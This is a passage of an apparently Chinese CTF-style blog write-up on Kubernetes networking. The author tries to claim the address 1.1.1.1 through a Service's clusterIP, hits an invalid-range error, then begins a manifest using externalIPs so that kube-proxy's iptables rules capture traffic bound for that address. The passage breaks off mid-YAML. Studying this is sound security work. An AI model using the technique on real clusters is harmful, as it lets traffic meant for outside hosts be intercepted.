style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> ClusterIP          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">clusterIP</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> 1.1.1.1<span style="mso-spacerun:yes;">  </span>          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">ports</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">port</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#990055;">80</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">      </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">targetPort</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#990055;">8080</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">selector</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">run</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> busyboxtest</span><span style="font-family: &#34;Microsoft YaHei UI&#34;;font-size: var(--articleFontsize);letter-spacing: 0.034em;"></span></p><p style="text-align:left;border-top:solid #E9E7E7 1.0pt;border-left:solid #E9E7E7 1.0pt;border-bottom:solid #E9E7E7 1.0pt;border-right:solid #E9E7E7 1.0pt;mso-padding-alt:8.0pt 8.0pt 8.0pt 8.0pt;padding:8.0pt 8.0pt 8.0pt 8.0pt;background:#F6F5F5;"><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"><span style="color: rgb(51, 51, 51);font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;font-size: 14px;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;background-color: rgb(250, 250, 250);">➤</span> kubectl </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#EE9900;">--kubeconfig</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> kubeconfig </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#EE9900;">-n</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> flag-reciever apply </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#EE9900;">-f</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> service-test.yaml          <br/>

          <br/>The Service </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#669900;">&#34;my-custom-service&#34;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> is invalid: spec.clusterIPs: Invalid value: </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">[]</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">string</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">{</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#669900;">&#34;1.1.1.1&#34;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">}</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">: failed to allocate IP </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#990055;">1.1</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">.1.1: the provided IP </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">(</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#990055;">1.1</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">.1.1</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">)</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> is not </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">in</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> the valid range. The range of valid IPs is </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#990055;">10.128</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">.0.0/12</span><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;font-family: &#34;Microsoft YaHei UI&#34;;">         </span><o:p style="font-size: var(--articleFontsize);letter-spacing: 0.034em;font-family: &#34;Microsoft YaHei UI&#34;;"> </o:p></p><p style="text-align:left;"><span style="font-family: &#34;Microsoft YaHei UI&#34;;font-size: var(--articleFontsize);letter-spacing: 0.034em;">很</span><span style="font-family: &#34;Microsoft YaHei UI&#34;;font-size: var(--articleFontsize);letter-spacing: 0.034em;">好，问题出现，不在合法范围的 ip。</span><br/></p><p style="text-align:left;"><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#DDDDDD;font-weight:bold;mso-bidi-font-weight:bold;">|</span><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> the provided IP (1.1.1.1) is not in the valid range. The range of valid IPs is 10.128.0.0/12</span></p><h2><span style="font-size: 24px;"><strong><span style="font-size: 24px;font-family: &#34;Microsoft YaHei UI&#34;;font-variant: normal;text-transform: none;">externalIPs</span>
  </strong></span></h2><p style="text-align:left;"><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">既然 clusterip 不行那么这个时候就得去查资料了，explain 大法不能忘记。我感觉这应该比直接看官方来的更快，因为可以直接告诉我可用选项有哪些。</span></p><p style="text-align:center;"><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-imgfileid="100000120" data-ratio="0.5819750719079578" width="758.010009765625" data-type="png" data-w="1043" height="441.1400146484375" src="https://wechat2rss.xlab.app/img-proxy/?k=324a98cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmBF8Gn5prYFRLGEmNKqeoWy7xbJ3bO6n0uGRS7tZI3xUhSNrx2Z31CGUT7u9vph8rOtuGdvJ32w7w%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"></span></p><p style="text-align:left;border-top:solid #E9E7E7 1.0pt;border-left:solid #E9E7E7 1.0pt;border-bottom:solid #E9E7E7 1.0pt;border-right:solid #E9E7E7 1.0pt;mso-padding-alt:8.0pt 8.0pt 8.0pt 8.0pt;padding:8.0pt 8.0pt 8.0pt 8.0pt;background:#F6F5F5;"><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">externalIPs is a list of IP addresses </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">for</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#DD4A68;">which</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> nodes </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">in</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> the cluster will          <br/><span style="mso-spacerun:yes;">    </span>also accept traffic </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">for</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> this service.<span style="mso-spacerun:yes;">  </span>These IPs are not managed by          <br/><span style="mso-spacerun:yes;">    </span>Kubernetes.<span style="mso-spacerun:yes;">  </span>The user is responsible </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">for</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> ensuring that traffic arrives at a          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#DD4A68;">node</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> with this IP.<span style="mso-spacerun:yes;">  </span>A common example is external load-balancers that are not          <br/><span style="mso-spacerun:yes;">    </span>part of the Kubernetes system.</span></p><p style="text-align:left;"><span style="font-family: &#34;Microsoft YaHei UI&#34;;font-size: var(--articleFontsize);letter-spacing: 0.034em;">很好，externalIPs 目测是满足要求的。</span><br/></p><p style="margin-top: 0.0pt;margin-bottom: 0.0pt;line-height: 150%;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Microsoft YaHei UI;mso-fareast-font-family: &#39;Microsoft YaHei UI&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;mso-list: l8 level1 lfo2;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;"><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">1.<span style="font:7.0pt Times New Roman;"></span></span><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">clusterIP:</span></p><ul class="list-paddingleft-1" style="list-style-type: disc;"><li><p style="margin-top: 0.0pt;margin-bottom: 0.0pt;line-height: 150%;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Microsoft YaHei UI;mso-fareast-font-family: &#39;Microsoft YaHei UI&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;mso-list: l8 level1 lfo2;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;"><span style="font-size: 12pt;text-indent: -18pt;letter-spacing: 0.034em;">这是 Service 的内部集群 IP,只能在集群内部访问</span></p></li><li><p style="margin-top: 0.0pt;margin-bottom: 0.0pt;line-height: 150%;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Microsoft YaHei UI;mso-fareast-font-family: &#39;Microsoft YaHei UI&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;mso-list: l8 level1 lfo2;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;"><span style="font-size: 12pt;text-indent: -18pt;letter-spacing: 0.034em;">由 Kub</span><span style="font-size: 12pt;text-indent: -18pt;letter-spacing: 0.034em;">ernetes 自动在内部 IP 池中分配</span></p></li><li><p style="margin-top: 0.0pt;margin-bottom: 0.0pt;line-height: 150%;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Microsoft YaHei UI;mso-fareast-font-family: &#39;Microsoft YaHei UI&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;mso-list: l8 level1 lfo2;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;"><span style="font-size: 12pt;text-indent: -18pt;letter-spacing: 0.034em;">可以通过代理、重定向访问后端 Pod</span></p></li></ul><p style="margin-top: 0.0pt;margin-bottom: 0.0pt;line-height: 150%;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Microsoft YaHei UI;mso-fareast-font-family: &#39;Microsoft YaHei UI&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;mso-list: l8 level1 lfo2;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;"><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">2.<span style="font:7.0pt Times New Roman;"></span></span><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">externalIPs:</span></p><ul class="list-paddingleft-1" style="list-style-type: disc;"><li><p style="margin-top: 0.0pt;margin-bottom: 0.0pt;line-height: 150%;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Microsoft YaHei UI;mso-fareast-font-family: &#39;Microsoft YaHei UI&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;mso-list: l8 level1 lfo2;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;"><span style="font-size: 12pt;text-indent: -18pt;letter-spacing: 0.034em;">这是 Service 暴露出来提供外部访问的 IP 列表</span></p></li><li><p style="margin-top: 0.0pt;margin-bottom: 0.0pt;line-height: 150%;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Microsoft YaHei UI;mso-fareast-font-family: &#39;Microsoft YaHei UI&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;mso-list: l8 level1 lfo2;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;"><span style="font-size: 12pt;text-indent: -18pt;letter-spacing: 0.034em;">需要是可路由的实际 IP 地址</span></p></li><li><p style="margin-top: 0.0pt;margin-bottom: 0.0pt;line-height: 150%;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Microsoft YaHei UI;mso-fareast-font-family: &#39;Microsoft YaHei UI&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;mso-list: l8 level1 lfo2;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;"><span style="font-size: 12pt;text-indent: -18pt;letter-spacing: 0.034em;">可以从集群外直接访问这个 IP,到达 Service</span></p></li><li><p style="margin-top: 0.0pt;margin-bottom: 0.0pt;line-height: 150%;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Microsoft YaHei UI;mso-fareast-font-family: &#39;Microsoft YaHei UI&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;mso-list: l8 level1 lfo2;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;"><span style="font-size: 12pt;text-indent: -18pt;letter-spacing: 0.034em;">如果type 为Loadbalancer，在有 LB插件的情况下，也能获取到ExternalIP，否则不会由 Kubernetes 自动分配,需要手动指定</span></p></li><li><p style="margin-top: 0.0pt;margin-bottom: 0.0pt;line-height: 150%;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Microsoft YaHei UI;mso-fareast-font-family: &#39;Microsoft YaHei UI&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;mso-list: l8 level1 lfo2;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;"><span style="font-size: 12pt;text-indent: -18pt;letter-spacing: 0.034em;">可以允许同一个 Service 通过内外部 IP 访问</span></p></li></ul><p style="margin-top: 0.0pt;margin-bottom: 0.0pt;line-height: 150%;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Microsoft YaHei UI;mso-fareast-font-family: &#39;Microsoft YaHei UI&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;mso-list: l8 level1 lfo2;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;"><span style="font-size: 12pt;text-indent: -18pt;letter-spacing: 0.034em;"></span></p><p style="text-align:left;"><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">我们知道 k8s网络中默认情况下，基本是靠 iptables 规则和 kube-proxy操作的。如果从 Pod 内，流量的走向来看应该是。</span></p><p style="text-align:left;"><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#DDDDDD;font-weight:bold;mso-bidi-font-weight:bold;">|</span><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> Pod -&gt; iptables NAT 规则 -&gt; kube-proxy 的负载均衡 -&gt; Backend Pod</span></p><p style="text-align:left;"><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">本地看看，我们创建 service clusterip 的时候 会创建对应iptables 规则，我们看到创建 externalIP 也一样创建了类似的 iptables。</span></p><p style="text-align:center;"><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-imgfileid="100000119" data-ratio="0.10277777777777777" width="758.010009765625" data-type="jpeg" data-w="1080" height="78.30999755859375" src="https://wechat2rss.xlab.app/img-proxy/?k=d2e127d0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1OyozcSJjmBF8Gn5prYFRLGEmNKqeoWy9IeCKeQ5ibOjk0B7HUecyWg90cwmC7rxIEOsBcGJMdSjejZdRFfE47w%2F640%3Fwx_fmt%3Djpeg"/></span><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"></span></p><p style="text-align:left;"><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">那就直接试试。</span></p><p style="text-align:left;border-top:solid #E9E7E7 1.0pt;border-left:solid #E9E7E7 1.0pt;border-bottom:solid #E9E7E7 1.0pt;border-right:solid #E9E7E7 1.0pt;mso-padding-alt:8.0pt 8.0pt 8.0pt 8.0pt;padding:8.0pt 8.0pt 8.0pt 8.0pt;background:#F6F5F5;"><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">apiVersion</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> v1</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">          <br/>kind</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> Service</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">          <br/>metadata</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">name</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> my</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">custom</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">service          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">namespace</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> flag</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">reciever</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">          <br/>spec</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">externalIPs</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> 1.1.1.1          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">ports</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">port</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#990055;">80</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">      </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">targetPort</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span 